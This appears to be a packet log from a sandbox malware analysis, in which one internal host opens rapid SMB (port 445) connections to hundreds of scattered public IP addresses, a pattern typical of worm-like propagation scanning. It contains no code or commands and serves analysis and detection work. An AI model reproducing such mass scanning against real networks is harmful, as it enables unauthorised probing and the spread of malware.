Jul 20, 2022 19:34:06.359523058 CEST	60726	445	192.168.2.7	27.69.149.42
Jul 20, 2022 19:34:06.374782085 CEST	60732	445	192.168.2.7	52.117.123.192
Jul 20, 2022 19:34:06.376132965 CEST	60734	445	192.168.2.7	213.61.124.252
Jul 20, 2022 19:34:06.376596928 CEST	60735	445	192.168.2.7	161.241.151.121
Jul 20, 2022 19:34:06.380177021 CEST	60740	445	192.168.2.7	12.233.29.19
Jul 20, 2022 19:34:06.382185936 CEST	60743	445	192.168.2.7	141.93.105.6
Jul 20, 2022 19:34:06.384634018 CEST	60747	445	192.168.2.7	156.180.45.41
Jul 20, 2022 19:34:06.385219097 CEST	60748	445	192.168.2.7	155.27.0.190
Jul 20, 2022 19:34:06.386378050 CEST	60750	445	192.168.2.7	221.42.235.57
Jul 20, 2022 19:34:06.387161016 CEST	60751	445	192.168.2.7	25.144.68.216
Jul 20, 2022 19:34:06.393420935 CEST	60758	445	192.168.2.7	191.172.78.69
Jul 20, 2022 19:34:06.393917084 CEST	60759	445	192.168.2.7	16.163.95.71
Jul 20, 2022 19:34:06.406764984 CEST	60763	445	192.168.2.7	59.40.103.149
Jul 20, 2022 19:34:06.408545017 CEST	60766	445	192.168.2.7	221.111.129.13
Jul 20, 2022 19:34:06.427716970 CEST	60776	445	192.168.2.7	133.34.123.117
Jul 20, 2022 19:34:06.427809954 CEST	60779	445	192.168.2.7	131.153.221.87
Jul 20, 2022 19:34:06.427849054 CEST	60777	445	192.168.2.7	201.25.194.230
Jul 20, 2022 19:34:06.507165909 CEST	445	60705	131.153.221.86	192.168.2.7
Jul 20, 2022 19:34:06.507195950 CEST	445	60705	131.153.221.86	192.168.2.7
Jul 20, 2022 19:34:06.589443922 CEST	60785	445	192.168.2.7	98.173.127.181
Jul 20, 2022 19:34:06.589623928 CEST	60788	445	192.168.2.7	62.237.225.63
Jul 20, 2022 19:34:06.589833021 CEST	60790	445	192.168.2.7	48.240.230.171
Jul 20, 2022 19:34:06.590190887 CEST	60791	445	192.168.2.7	70.21.216.216
Jul 20, 2022 19:34:06.590457916 CEST	60797	445	192.168.2.7	18.30.104.212
Jul 20, 2022 19:34:06.590637922 CEST	60799	445	192.168.2.7	189.201.157.164
Jul 20, 2022 19:34:06.590760946 CEST	60801	445	192.168.2.7	23.177.129.173
Jul 20, 2022 19:34:06.590895891 CEST	60804	445	192.168.2.7	71.48.216.141
Jul 20, 2022 19:34:06.591109037 CEST	60807	445	192.168.2.7	31.14.105.100
Jul 20, 2022 19:34:06.638999939 CEST	60816	445	192.168.2.7	51.158.189.121
Jul 20, 2022 19:34:07.061027050 CEST	60819	445	192.168.2.7	121.3.139.71
Jul 20, 2022 19:34:07.263770103 CEST	60824	445	192.168.2.7	205.22.25.22
Jul 20, 2022 19:34:07.467042923 CEST	60833	445	192.168.2.7	152.17.40.227
Jul 20, 2022 19:34:07.482496023 CEST	60838	445	192.168.2.7	10.61.182.144
Jul 20, 2022 19:34:07.498769999 CEST	60841	445	192.168.2.7	131.153.221.88
Jul 20, 2022 19:34:07.499869108 CEST	60842	445	192.168.2.7	158.33.10.56
Jul 20, 2022 19:34:07.500083923 CEST	60846	445	192.168.2.7	45.53.232.110
Jul 20, 2022 19:34:07.500200033 CEST	60847	445	192.168.2.7	72.191.113.45
Jul 20, 2022 19:34:07.500452995 CEST	60851	445	192.168.2.7	109.150.33.49
Jul 20, 2022 19:34:07.500710011 CEST	60854	445	192.168.2.7	158.244.123.155
Jul 20, 2022 19:34:07.500958920 CEST	60859	445	192.168.2.7	67.185.40.63
Jul 20, 2022 19:34:07.501070976 CEST	60860	445	192.168.2.7	166.20.12.210
Jul 20, 2022 19:34:07.501151085 CEST	60862	445	192.168.2.7	175.230.40.95
Jul 20, 2022 19:34:07.501178026 CEST	60863	445	192.168.2.7	219.203.219.3
Jul 20, 2022 19:34:07.514291048 CEST	60866	445	192.168.2.7	42.175.100.183
Jul 20, 2022 19:34:07.514353037 CEST	60867	445	192.168.2.7	59.246.226.199
Jul 20, 2022 19:34:07.530139923 CEST	60873	445	192.168.2.7	27.232.130.117
Jul 20, 2022 19:34:07.530333996 CEST	60877	445	192.168.2.7	223.18.161.46
Jul 20, 2022 19:34:07.545166016 CEST	60881	445	192.168.2.7	95.91.220.76
Jul 20, 2022 19:34:07.545969963 CEST	60887	445	192.168.2.7	139.208.231.76
Jul 20, 2022 19:34:07.701113939 CEST	60896	445	192.168.2.7	138.20.76.69
Jul 20, 2022 19:34:07.701292038 CEST	60898	445	192.168.2.7	129.174.197.41
Jul 20, 2022 19:34:07.701384068 CEST	60900	445	192.168.2.7	37.83.23.181
Jul 20, 2022 19:34:07.701529980 CEST	60902	445	192.168.2.7	154.235.247.248
Jul 20, 2022 19:34:07.701946020 CEST	60909	445	192.168.2.7	13.222.213.207
Jul 20, 2022 19:34:07.702049971 CEST	60910	445	192.168.2.7	4.28.17.26
Jul 20, 2022 19:34:07.702126980 CEST	60911	445	192.168.2.7	41.241.208.47
Jul 20, 2022 19:34:07.702397108 CEST	60915	445	192.168.2.7	207.175.75.82
Jul 20, 2022 19:34:07.702528000 CEST	60917	445	192.168.2.7	99.90.137.28
Jul 20, 2022 19:34:07.717730045 CEST	60927	445	192.168.2.7	213.142.151.109
Jul 20, 2022 19:34:07.717875004 CEST	60928	445	192.168.2.7	51.158.189.122
Jul 20, 2022 19:34:07.770253897 CEST	445	60927	213.142.151.109	192.168.2.7
Jul 20, 2022 19:34:07.770370960 CEST	60927	445	192.168.2.7	213.142.151.109
Jul 20, 2022 19:34:07.770454884 CEST	60927	445	192.168.2.7	213.142.151.109
Jul 20, 2022 19:34:07.822905064 CEST	445	60927	213.142.151.109	192.168.2.7
Jul 20, 2022 19:34:07.888681889 CEST	60929	445	192.168.2.7	213.142.151.110
Jul 20, 2022 19:34:08.107923031 CEST	60931	445	192.168.2.7	45.60.207.30
Jul 20, 2022 19:34:08.123202085 CEST	60933	445	192.168.2.7	121.3.139.72
Jul 20, 2022 19:34:08.124461889 CEST	445	60931	45.60.207.30	192.168.2.7
Jul 20, 2022 19:34:08.124643087 CEST	60931	445	192.168.2.7	45.60.207.30
Jul 20, 2022 19:34:08.126827955 CEST	60931	445	192.168.2.7	45.60.207.30
Jul 20, 2022 19:34:08.143414974 CEST	445	60931	45.60.207.30	192.168.2.7
Jul 20, 2022 19:34:08.143492937 CEST	445	60931	45.60.207.30	192.168.2.7
Jul 20, 2022 19:34:08.143508911 CEST	445	60931	45.60.207.30	192.168.2.7
Jul 20, 2022 19:34:08.143630028 CEST	60931	445	192.168.2.7	45.60.207.30
Jul 20, 2022 19:34:08.143712044 CEST	60931	445	192.168.2.7	45.60.207.30
Jul 20, 2022 19:34:08.143798113 CEST	60931	445	192.168.2.7	45.60.207.30
Jul 20, 2022 19:34:08.160206079 CEST	445	60931	45.60.207.30	192.168.2.7
Jul 20, 2022 19:34:08.202147007 CEST	60934	445	192.168.2.7	45.60.207.31
Jul 20, 2022 19:34:08.218761921 CEST	445	60934	45.60.207.31	192.168.2.7
Jul 20, 2022 19:34:08.219001055 CEST	60934	445	192.168.2.7	45.60.207.31
Jul 20, 2022 19:34:08.219052076 CEST	60934	445	192.168.2.7	45.60.207.31
Jul 20, 2022 19:34:08.219491005 CEST	60935	445	192.168.2.7	45.60.207.31
Jul 20, 2022 19:34:08.235690117 CEST	445	60934	45.60.207.31	192.168.2.7
Jul 20, 2022 19:34:08.235822916 CEST	60934	445	192.168.2.7	45.60.207.31
Jul 20, 2022 19:34:08.235924006 CEST	445	60935	45.60.207.31	192.168.2.7
Jul 20, 2022 19:34:08.236072063 CEST	60935	445	192.168.2.7	45.60.207.31
Jul 20, 2022 19:34:08.236181021 CEST	60935	445	192.168.2.7	45.60.207.31
Jul 20, 2022 19:34:08.252665043 CEST	445	60935	45.60.207.31	192.168.2.7
Jul 20, 2022 19:34:08.252691984 CEST	445	60935	45.60.207.31	192.168.2.7
Jul 20, 2022 19:34:08.252711058 CEST	445	60935	45.60.207.31	192.168.2.7
Jul 20, 2022 19:34:08.252851009 CEST	60935	445	192.168.2.7	45.60.207.31
Jul 20, 2022 19:34:08.252939939 CEST	60935	445	192.168.2.7	45.60.207.31
Jul 20, 2022 19:34:08.253026962 CEST	60935	445	192.168.2.7	45.60.207.31
Jul 20, 2022 19:34:08.269450903 CEST	445	60935	45.60.207.31	192.168.2.7
Jul 20, 2022 19:34:08.269474030 CEST	445	60935	45.60.207.31	192.168.2.7
Jul 20, 2022 19:34:08.389276028 CEST	60941	445	192.168.2.7	180.138.104.153
Jul 20, 2022 19:34:08.576786041 CEST	60948	445	192.168.2.7	131.153.221.89
Jul 20, 2022 19:34:08.592355013 CEST	60951	445	192.168.2.7	107.100.180.8
Jul 20, 2022 19:34:08.608031034 CEST	60957	445	192.168.2.7	15.14.135.9
Jul 20, 2022 19:34:08.623766899 CEST	60959	445	192.168.2.7	64.37.115.45
Jul 20, 2022 19:34:08.623836994 CEST	60960	445	192.168.2.7	55.5.50.60
Jul 20, 2022 19:34:08.623852968 CEST	60961	445	192.168.2.7	97.254.165.45
Jul 20, 2022 19:34:08.624006033 CEST	60962	445	192.168.2.7	35.82.145.25
Jul 20, 2022 19:34:08.624270916 CEST	60967	445	192.168.2.7	57.201.189.189
Jul 20, 2022 19:34:08.624655962 CEST	60973	445	192.168.2.7	65.53.118.69
Jul 20, 2022 19:34:08.624715090 CEST	60974	445	192.168.2.7	122.54.253.149
Jul 20, 2022 19:34:08.624856949 CEST	60975	445	192.168.2.7	46.246.189.108
Jul 20, 2022 19:34:08.625058889 CEST	60979	445	192.168.2.7	71.47.40.147
Jul 20, 2022 19:34:08.638695002 CEST	60981	445	192.168.2.7	43.162.228.175
Jul 20, 2022 19:34:08.638860941 CEST	60984	445	192.168.2.7	160.87.163.205
Jul 20, 2022 19:34:08.654639959 CEST	60992	445	192.168.2.7	42.190.152.181
Jul 20, 2022 19:34:08.654932022 CEST	60998	445	192.168.2.7	73.63.212.220
Jul 20, 2022 19:34:08.655050993 CEST	61000	445	192.168.2.7	120.78.139.195
Jul 20, 2022 19:34:08.655261993 CEST	61003	445	192.168.2.7	52.120.237.84
Jul 20, 2022 19:34:08.796063900 CEST	61009	445	192.168.2.7	51.158.189.123
Jul 20, 2022 19:34:08.827505112 CEST	61022	445	192.168.2.7	52.173.35.198
Jul 20, 2022 19:34:08.827656031 CEST	61024	445	192.168.2.7	167.18.217.125
Jul 20, 2022 19:34:08.828003883 CEST	61029	445	192.168.2.7	43.0.43.21
Jul 20, 2022 19:34:08.828145027 CEST	61031	445	192.168.2.7	197.5.232.139
Jul 20, 2022 19:34:08.828159094 CEST	61030	445	192.168.2.7	54.114.61.60
Jul 20, 2022 19:34:08.828593016 CEST	61037	445	192.168.2.7	78.131.175.250
Jul 20, 2022 19:34:08.828797102 CEST	61040	445	192.168.2.7	141.87.26.174
Jul 20, 2022 19:34:08.828924894 CEST	61041	445	192.168.2.7	115.90.227.51
Jul 20, 2022 19:34:08.829058886 CEST	61043	445	192.168.2.7	88.188.233.153
Jul 20, 2022 19:34:08.967067957 CEST	61045	445	192.168.2.7	213.142.151.111
Jul 20, 2022 19:34:09.019270897 CEST	445	61045	213.142.151.111	192.168.2.7
Jul 20, 2022 19:34:09.019387960 CEST	61045	445	192.168.2.7	213.142.151.111
Jul 20, 2022 19:34:09.019440889 CEST	61045	445	192.168.2.7	213.142.151.111
Jul 20, 2022 19:34:09.019906044 CEST	61046	445	192.168.2.7	213.142.151.111
Jul 20, 2022 19:34:09.072463989 CEST	445	61045	213.142.151.111	192.168.2.7
Jul 20, 2022 19:34:09.072608948 CEST	445	61045	213.142.151.111	192.168.2.7
Jul 20, 2022 19:34:09.078095913 CEST	445	61046	213.142.151.111	192.168.2.7
Jul 20, 2022 19:34:09.078320026 CEST	61046	445	192.168.2.7	213.142.151.111
Jul 20, 2022 19:34:09.078377962 CEST	61046	445	192.168.2.7	213.142.151.111
Jul 20, 2022 19:34:09.136558056 CEST	445	61046	213.142.151.111	192.168.2.7
Jul 20, 2022 19:34:09.201476097 CEST	61048	445	192.168.2.7	121.3.139.73
Jul 20, 2022 19:34:09.514244080 CEST	61053	445	192.168.2.7	16.151.163.51
Jul 20, 2022 19:34:09.654659986 CEST	61056	445	192.168.2.7	131.153.221.90
Jul 20, 2022 19:34:09.717008114 CEST	61063	445	192.168.2.7	66.95.36.101
Jul 20, 2022 19:34:09.732502937 CEST	61067	445	192.168.2.7	148.123.133.62
Jul 20, 2022 19:34:09.748822927 CEST	61073	445	192.168.2.7	115.83.29.30
Jul 20, 2022 19:34:09.749140978 CEST	61078	445	192.168.2.7	51.114.190.237
Jul 20, 2022 19:34:09.749279022 CEST	61079	445	192.168.2.7	45.172.176.190
Jul 20, 2022 19:34:09.749478102 CEST	61083	445	192.168.2.7	82.187.199.14
Jul 20, 2022 19:34:09.749725103 CEST	61089	445	192.168.2.7	133.141.5.14
Jul 20, 2022 19:34:09.749806881 CEST	61091	445	192.168.2.7	123.44.6.23
Jul 20, 2022 19:34:09.749895096 CEST	61092	445	192.168.2.7	31.95.211.244
Jul 20, 2022 19:34:09.749977112 CEST	61094	445	192.168.2.7	146.106.50.138
Jul 20, 2022 19:34:09.764112949 CEST	61101	445	192.168.2.7	38.201.179.243
Jul 20, 2022 19:34:09.764261961 CEST	61102	445	192.168.2.7	11.178.97.49
Jul 20, 2022 19:34:09.779675961 CEST	61108	445	192.168.2.7	203.91.44.4
Jul 20, 2022 19:34:09.779870987 CEST	61112	445	192.168.2.7	205.94.72.11
Jul 20, 2022 19:34:09.779926062 CEST	61114	445	192.168.2.7	165.170.57.98
Jul 20, 2022 19:34:09.780019045 CEST	61115	445	192.168.2.7	98.72.120.41
Jul 20, 2022 19:34:09.874362946 CEST	61122	445	192.168.2.7	51.158.189.124
Jul 20, 2022 19:34:09.951461077 CEST	61129	445	192.168.2.7	179.127.108.231
Jul 20, 2022 19:34:09.951467991 CEST	61128	445	192.168.2.7	158.229.165.193
Jul 20, 2022 19:34:09.951623917 CEST	61131	445	192.168.2.7	159.205.109.74
Jul 20, 2022 19:34:09.951905966 CEST	61134	445	192.168.2.7	215.137.50.35
Jul 20, 2022 19:34:09.952088118 CEST	61136	445	192.168.2.7	74.189.10.35
Jul 20, 2022 19:34:09.952450991 CEST	61143	445	192.168.2.7	21.126.193.115
Jul 20, 2022 19:34:09.952708960 CEST	61147	445	192.168.2.7	205.96.107.177
Jul 20, 2022 19:34:09.952776909 CEST	61148	445	192.168.2.7	3.25.245.141
Jul 20, 2022 19:34:09.952936888 CEST	61150	445	192.168.2.7	167.199.231.253
Jul 20, 2022 19:34:10.011630058 CEST	445	61079	45.172.176.190	192.168.2.7
Jul 20, 2022 19:34:10.279656887 CEST	61160	445	192.168.2.7	121.3.139.74
Jul 20, 2022 19:34:10.513514996 CEST	61079	445	192.168.2.7	45.172.176.190
Jul 20, 2022 19:34:10.639025927 CEST	61165	445	192.168.2.7	167.252.55.238
Jul 20, 2022 19:34:10.732986927 CEST	61168	445	192.168.2.7	131.153.221.91
Jul 20, 2022 19:34:10.776822090 CEST	445	61079	45.172.176.190	192.168.2.7
Jul 20, 2022 19:34:10.842183113 CEST	61179	445	192.168.2.7	199.91.149.201
Jul 20, 2022 19:34:10.857793093 CEST	61181	445	192.168.2.7	177.58.238.60
Jul 20, 2022 19:34:10.873737097 CEST	61185	445	192.168.2.7	30.77.49.122
Jul 20, 2022 19:34:10.873859882 CEST	61186	445	192.168.2.7	153.156.40.59
Jul 20, 2022 19:34:10.873861074 CEST	61187	445	192.168.2.7	208.215.167.40
Jul 20, 2022 19:34:10.873991013 CEST	61190	445	192.168.2.7	153.160.14.92
Jul 20, 2022 19:34:10.874346972 CEST	61197	445	192.168.2.7	43.91.49.161
Jul 20, 2022 19:34:10.874456882 CEST	61200	445	192.168.2.7	179.200.115.18
Jul 20, 2022 19:34:10.874483109 CEST	61201	445	192.168.2.7	98.159.46.236
Jul 20, 2022 19:34:10.874591112 CEST	61202	445	192.168.2.7	94.26.151.126
Jul 20, 2022 19:34:10.874769926 CEST	61207	445	192.168.2.7	78.240.67.1
Jul 20, 2022 19:34:10.889591932 CEST	61214	445	192.168.2.7	97.169.190.239
Jul 20, 2022 19:34:10.890486002 CEST	61215	445	192.168.2.7	222.87.57.131
Jul 20, 2022 19:34:10.905014038 CEST	61219	445	192.168.2.7	218.111.168.23
Jul 20, 2022 19:34:10.905363083 CEST	61224	445	192.168.2.7	79.208.170.60
Jul 20, 2022 19:34:10.905587912 CEST	61227	445	192.168.2.7	223.89.118.28
Jul 20, 2022 19:34:10.905670881 CEST	61228	445	192.168.2.7	49.106.180.248
Jul 20, 2022 19:34:10.951920033 CEST	61235	445	192.168.2.7	51.158.189.125
Jul 20, 2022 19:34:11.065431118 CEST	445	61181	177.58.238.60	192.168.2.7
Jul 20, 2022 19:34:11.076493979 CEST	61241	445	192.168.2.7	158.209.42.145
Jul 20, 2022 19:34:11.076500893 CEST	61242	445	192.168.2.7	187.247.55.203
Jul 20, 2022 19:34:11.076781034 CEST	61244	445	192.168.2.7	128.58.2.23
Jul 20, 2022 19:34:11.077023029 CEST	61248	445	192.168.2.7	173.187.150.110
Jul 20, 2022 19:34:11.077102900 CEST	61249	445	192.168.2.7	96.80.51.141
Jul 20, 2022 19:34:11.077523947 CEST	61257	445	192.168.2.7	85.176.176.221
Jul 20, 2022 19:34:11.077687025 CEST	61260	445	192.168.2.7	136.73.102.247
Jul 20, 2022 19:34:11.077714920 CEST	61261	445	192.168.2.7	111.128.228.106
Jul 20, 2022 19:34:11.077832937 CEST	61263	445	192.168.2.7	99.82.65.144
Jul 20, 2022 19:34:11.265734911 CEST	61272	445	192.168.2.7	45.60.207.31
Jul 20, 2022 19:34:11.284415007 CEST	445	61272	45.60.207.31	192.168.2.7
Jul 20, 2022 19:34:11.284667969 CEST	61272	445	192.168.2.7	45.60.207.31
Jul 20, 2022 19:34:11.285932064 CEST	61272	445	192.168.2.7	45.60.207.31
Jul 20, 2022 19:34:11.303082943 CEST	445	61272	45.60.207.31	192.168.2.7
Jul 20, 2022 19:34:11.303112030 CEST	445	61272	45.60.207.31	192.168.2.7
Jul 20, 2022 19:34:11.303127050 CEST	445	61272	45.60.207.31	192.168.2.7
Jul 20, 2022 19:34:11.303210974 CEST	61272	445	192.168.2.7	45.60.207.31
Jul 20, 2022 19:34:11.303327084 CEST	61272	445	192.168.2.7	45.60.207.31
Jul 20, 2022 19:34:11.303390026 CEST	61272	445	192.168.2.7	45.60.207.31
Jul 20, 2022 19:34:11.321666956 CEST	445	61272	45.60.207.31	192.168.2.7
Jul 20, 2022 19:34:11.321691036 CEST	445	61272	45.60.207.31	192.168.2.7
Jul 20, 2022 19:34:11.344445944 CEST	61274	445	192.168.2.7	121.3.139.75
Jul 20, 2022 19:34:11.358005047 CEST	61275	445	192.168.2.7	45.60.207.32
Jul 20, 2022 19:34:11.378998041 CEST	445	61275	45.60.207.32	192.168.2.7
Jul 20, 2022 19:34:11.379204035 CEST	61275	445	192.168.2.7	45.60.207.32
Jul 20, 2022 19:34:11.379247904 CEST	61275	445	192.168.2.7	45.60.207.32
Jul 20, 2022 19:34:11.379968882 CEST	61276	445	192.168.2.7	45.60.207.32
Jul 20, 2022 19:34:11.395905972 CEST	445	61275	45.60.207.32	192.168.2.7
Jul 20, 2022 19:34:11.396105051 CEST	61275	445	192.168.2.7	45.60.207.32
Jul 20, 2022 19:34:11.396419048 CEST	445	61276	45.60.207.32	192.168.2.7
Jul 20, 2022 19:34:11.396547079 CEST	61276	445	192.168.2.7	45.60.207.32
Jul 20, 2022 19:34:11.396619081 CEST	61276	445	192.168.2.7	45.60.207.32
Jul 20, 2022 19:34:11.414696932 CEST	445	61276	45.60.207.32	192.168.2.7
Jul 20, 2022 19:34:11.414722919 CEST	445	61276	45.60.207.32	192.168.2.7
Jul 20, 2022 19:34:11.414762020 CEST	445	61276	45.60.207.32	192.168.2.7
Jul 20, 2022 19:34:11.414829969 CEST	61276	445	192.168.2.7	45.60.207.32
Jul 20, 2022 19:34:11.414874077 CEST	61276	445	192.168.2.7	45.60.207.32
Jul 20, 2022 19:34:11.414932013 CEST	61276	445	192.168.2.7	45.60.207.32
Jul 20, 2022 19:34:11.434324026 CEST	445	61276	45.60.207.32	192.168.2.7
Jul 20, 2022 19:34:11.434350967 CEST	445	61276	45.60.207.32	192.168.2.7
Jul 20, 2022 19:34:11.576149940 CEST	61181	445	192.168.2.7	177.58.238.60
Jul 20, 2022 19:34:11.764209986 CEST	61280	445	192.168.2.7	189.125.45.128
Jul 20, 2022 19:34:11.782154083 CEST	445	61181	177.58.238.60	192.168.2.7
Jul 20, 2022 19:34:11.811805010 CEST	61284	445	192.168.2.7	131.153.221.92
Jul 20, 2022 19:34:11.951802015 CEST	61294	445	192.168.2.7	169.91.240.226
Jul 20, 2022 19:34:11.967314005 CEST	61296	445	192.168.2.7	62.193.136.196
Jul 20, 2022 19:34:11.983500004 CEST	61302	445	192.168.2.7	208.219.168.12
Jul 20, 2022 19:34:11.983922005 CEST	61305	445	192.168.2.7	75.112.254.113
Jul 20, 2022 19:34:11.984206915 CEST	61307	445	192.168.2.7	190.210.218.60
Jul 20, 2022 19:34:11.984376907 CEST	61308	445	192.168.2.7	214.184.201.235
Jul 20, 2022 19:34:11.984520912 CEST	61310	445	192.168.2.7	24.49.78.161
Jul 20, 2022 19:34:11.984973907 CEST	61318	445	192.168.2.7	70.1.114.180
Jul 20, 2022 19:34:11.985109091 CEST	61320	445	192.168.2.7	5.120.58.45
Jul 20, 2022 19:34:11.985259056 CEST	61322	445	192.168.2.7	53.250.250.92
Jul 20, 2022 19:34:11.985348940 CEST	61323	445	192.168.2.7	221.232.154.60
Jul 20, 2022 19:34:11.999176025 CEST	61330	445	192.168.2.7	178.49.227.134
Jul 20, 2022 19:34:11.999191046 CEST	61331	445	192.168.2.7	20.102.14.92
Jul 20, 2022 19:34:12.014173031 CEST	61335	445	192.168.2.7	83.242.168.181
Jul 20, 2022 19:34:12.014302969 CEST	61337	445	192.168.2.7	137.68.151.86
Jul 20, 2022 19:34:12.014323950 CEST	61338	445	192.168.2.7	219.231.145.147
Jul 20, 2022 19:34:12.014641047 CEST	61344	445	192.168.2.7	42.230.146.16
Jul 20, 2022 19:34:12.030060053 CEST	61350	445	192.168.2.7	51.158.189.126
Jul 20, 2022 19:34:12.054280996 CEST	445	61350	51.158.189.126	192.168.2.7
Jul 20, 2022 19:34:12.139415026 CEST	61352	445	192.168.2.7	213.142.151.111
Jul 20, 2022 19:34:12.186827898 CEST	61355	445	192.168.2.7	74.96.217.194
Jul 20, 2022 19:34:12.186830044 CEST	61356	445	192.168.2.7	135.221.250.158
Jul 20, 2022 19:34:12.187151909 CEST	61359	445	192.168.2.7	120.236.137.176
Jul 20, 2022 19:34:12.187329054 CEST	61362	445	192.168.2.7	157.146.190.183
Jul 20, 2022 19:34:12.187406063 CEST	61363	445	192.168.2.7	136.195.11.114
Jul 20, 2022 19:34:12.187840939 CEST	61371	445	192.168.2.7	11.121.1.67
Jul 20, 2022 19:34:12.188096046 CEST	61374	445	192.168.2.7	165.120.28.169
Jul 20, 2022 19:34:12.188266993 CEST	61377	445	192.168.2.7	165.247.183.98
Jul 20, 2022 19:34:12.188270092 CEST	61375	445	192.168.2.7	98.79.201.9
Jul 20, 2022 19:34:12.191615105 CEST	445	61352	213.142.151.111	192.168.2.7
Jul 20, 2022 19:34:12.191875935 CEST	61352	445	192.168.2.7	213.142.151.111
Jul 20, 2022 19:34:12.191896915 CEST	61352	445	192.168.2.7	213.142.151.111
Jul 20, 2022 19:34:12.243951082 CEST	445	61352	213.142.151.111	192.168.2.7
Jul 20, 2022 19:34:12.295394897 CEST	61389	445	192.168.2.7	213.142.151.112
Jul 20, 2022 19:34:12.347541094 CEST	445	61389	213.142.151.112	192.168.2.7
Jul 20, 2022 19:34:12.347693920 CEST	61389	445	192.168.2.7	213.142.151.112
Jul 20, 2022 19:34:12.347739935 CEST	61389	445	192.168.2.7	213.142.151.112
Jul 20, 2022 19:34:12.348131895 CEST	61390	445	192.168.2.7	213.142.151.112
Jul 20, 2022 19:34:12.399293900 CEST	445	61389	213.142.151.112	192.168.2.7
Jul 20, 2022 19:34:12.400625944 CEST	445	61389	213.142.151.112	192.168.2.7
Jul 20, 2022 19:34:12.405133009 CEST	61392	445	192.168.2.7	121.3.139.76
Jul 20, 2022 19:34:12.405306101 CEST	445	61390	213.142.151.112	192.168.2.7
Jul 20, 2022 19:34:12.405447960 CEST	61390	445	192.168.2.7	213.142.151.112
Jul 20, 2022 19:34:12.405481100 CEST	61390	445	192.168.2.7	213.142.151.112
Jul 20, 2022 19:34:12.461699963 CEST	445	61390	213.142.151.112	192.168.2.7
Jul 20, 2022 19:34:12.560666084 CEST	61350	445	192.168.2.7	51.158.189.126
Jul 20, 2022 19:34:12.583173990 CEST	445	61350	51.158.189.126	192.168.2.7
Jul 20, 2022 19:34:12.683883905 CEST	445	61392	121.3.139.76	192.168.2.7
Jul 20, 2022 19:34:12.889348984 CEST	61398	445	192.168.2.7	122.243.214.246
Jul 20, 2022 19:34:12.889578104 CEST	61401	445	192.168.2.7	131.153.221.93
Jul 20, 2022 19:34:13.050308943 CEST	445	61401	131.153.221.93	192.168.2.7
Jul 20, 2022 19:34:13.076587915 CEST	61409	445	192.168.2.7	14.188.3.53
Jul 20, 2022 19:34:13.076980114 CEST	61414	445	192.168.2.7	223.246.95.58
Jul 20, 2022 19:34:13.107752085 CEST	61418	445	192.168.2.7	71.7.114.42
Jul 20, 2022 19:34:13.107754946 CEST	61419	445	192.168.2.7	48.201.209.215
Jul 20, 2022 19:34:13.107893944 CEST	61421	445	192.168.2.7	66.82.247.55
Jul 20, 2022 19:34:13.107976913 CEST	61422	445	192.168.2.7	130.247.139.193
Jul 20, 2022 19:34:13.108374119 CEST	61431	445	192.168.2.7	2.241.81.112
Jul 20, 2022 19:34:13.108469963 CEST	61433	445	192.168.2.7	104.207.64.79
Jul 20, 2022 19:34:13.108604908 CEST	61434	445	192.168.2.7	170.151.233.92
Jul 20, 2022 19:34:13.108622074 CEST	61436	445	192.168.2.7	86.116.68.71
Jul 20, 2022 19:34:13.108807087 CEST	61440	445	192.168.2.7	121.223.85.64
Jul 20, 2022 19:34:13.108836889 CEST	61441	445	192.168.2.7	51.158.189.127
Jul 20, 2022 19:34:13.123756886 CEST	61443	445	192.168.2.7	30.171.205.103
Jul 20, 2022 19:34:13.125154972 CEST	61442	445	192.168.2.7	220.1.40.102
Jul 20, 2022 19:34:13.139282942 CEST	61454	445	192.168.2.7	214.81.233.43
Jul 20, 2022 19:34:13.139710903 CEST	61461	445	192.168.2.7	132.207.216.99
Jul 20, 2022 19:34:13.139759064 CEST	61462	445	192.168.2.7	115.84.96.217
Jul 20, 2022 19:34:13.139928102 CEST	61464	445	192.168.2.7	110.21.11.165
Jul 20, 2022 19:34:13.185570002 CEST	61392	445	192.168.2.7	121.3.139.76
Jul 20, 2022 19:34:13.311920881 CEST	61481	445	192.168.2.7	14.101.199.15
Jul 20, 2022 19:34:13.312186956 CEST	61484	445	192.168.2.7	36.109.144.13
Jul 20, 2022 19:34:13.312247992 CEST	61485	445	192.168.2.7	188.46.75.174
Jul 20, 2022 19:34:13.312321901 CEST	61487	445	192.168.2.7	33.226.189.178
Jul 20, 2022 19:34:13.312758923 CEST	61495	445	192.168.2.7	217.132.174.203
Jul 20, 2022 19:34:13.312923908 CEST	61498	445	192.168.2.7	61.94.137.244
Jul 20, 2022 19:34:13.312927008 CEST	61497	445	192.168.2.7	119.209.36.74
Jul 20, 2022 19:34:13.313266039 CEST	61503	445	192.168.2.7	100.14.233.215
Jul 20, 2022 19:34:13.313345909 CEST	61504	445	192.168.2.7	185.90.16.156
Jul 20, 2022 19:34:13.463964939 CEST	445	61392	121.3.139.76	192.168.2.7
Jul 20, 2022 19:34:13.483120918 CEST	61505	445	192.168.2.7	121.3.139.77
Jul 20, 2022 19:34:13.560622931 CEST	61401	445	192.168.2.7	131.153.221.93
Jul 20, 2022 19:34:13.721935034 CEST	445	61401	131.153.221.93	192.168.2.7
Jul 20, 2022 19:34:13.951649904 CEST	61508	445	192.168.2.7	131.153.221.94
Jul 20, 2022 19:34:13.998768091 CEST	61513	445	192.168.2.7	205.113.79.160
Jul 20, 2022 19:34:14.170989037 CEST	61519	445	192.168.2.7	51.158.189.128
Jul 20, 2022 19:34:14.202617884 CEST	61526	445	192.168.2.7	200.38.64.24
Jul 20, 2022 19:34:14.203155994 CEST	61532	445	192.168.2.7	98.225.112.195
Jul 20, 2022 19:34:14.217592955 CEST	61533	445	192.168.2.7	56.236.35.186
Jul 20, 2022 19:34:14.217598915 CEST	61534	445	192.168.2.7	2.101.138.194
Jul 20, 2022 19:34:14.217755079 CEST	61535	445	192.168.2.7	54.161.168.82
Jul 20, 2022 19:34:14.217896938 CEST	61538	445	192.168.2.7	36.247.67.78
Jul 20, 2022 19:34:14.218379021 CEST	61546	445	192.168.2.7	106.207.194.158
Jul 20, 2022 19:34:14.218512058 CEST	61548	445	192.168.2.7	70.135.37.71
Jul 20, 2022 19:34:14.218614101 CEST	61549	445	192.168.2.7	70.218.210.169
Jul 20, 2022 19:34:14.218666077 CEST	61550	445	192.168.2.7	71.200.89.90
Jul 20, 2022 19:34:14.218983889 CEST	61555	445	192.168.2.7	78.229.241.111
Jul 20, 2022 19:34:14.249250889 CEST	61556	445	192.168.2.7	132.113.68.113
Jul 20, 2022 19:34:14.249264956 CEST	61557	445	192.168.2.7	65.17.46.212
Jul 20, 2022 19:34:14.264530897 CEST	61565	445	192.168.2.7	3.70.178.111
